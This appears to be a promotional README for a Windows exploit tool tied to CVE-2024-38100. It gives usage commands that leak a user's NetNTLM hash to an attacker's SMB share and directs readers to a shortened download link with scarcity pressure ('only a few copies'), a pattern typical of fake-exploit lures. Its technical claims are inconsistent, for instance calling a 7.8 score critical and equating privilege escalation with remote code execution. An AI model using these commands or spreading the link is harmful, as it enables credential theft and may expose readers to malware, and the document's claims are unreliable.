CVE-2024-38100 Windows Leaked Wallpaper Escelation to RCE vulnerability
In a recent security bulletin, Microsoft disclosed a critical vulnerability in Windows File Explorer, identified as CVE-2024-38100, with a CVSS score of 7.8 This is a privilege escalation tool that allows us to leak a user's NetNTLM hash from any session on a computer and gain Remote Code Execution.
Usage:
.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg
# Example
.\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg
Tested vulnerable hosts: Any system not patched in the July Tuesday patch.
As mentioned at the beginning, CVE-2024-38100 was given such a high CVSS score because it is remote code execution. This means it can go unnoticed by the user and potentially by the security team as well. Such a powerfull tool should not be fully public, there is strictly only a few copies available so a REAL researcher can use it: https:// shorturl[.]at/5xHw2
This should attract attention to importance of cyber security, it can be tempting to ignore, or palm it off to the IT team. But both of these options can leave you susceptible to real and damaging risks. Do NOT resell or leak this PoC or you can be at risk of breaking the law.
Microsoft addressed this vulnerability in the July Patch Tuesday update, releasing the fix under KB5040434.
No detection yet.
Users and administrators are strongly advised to apply this update immediately to protect their systems from potential exploitation.
This project is intended for educational purposes only and cannot be used for law violation or personal gain. The authors of this project is not responsible for any damages caused by direct or indirect use of the information or functionality provided by those script.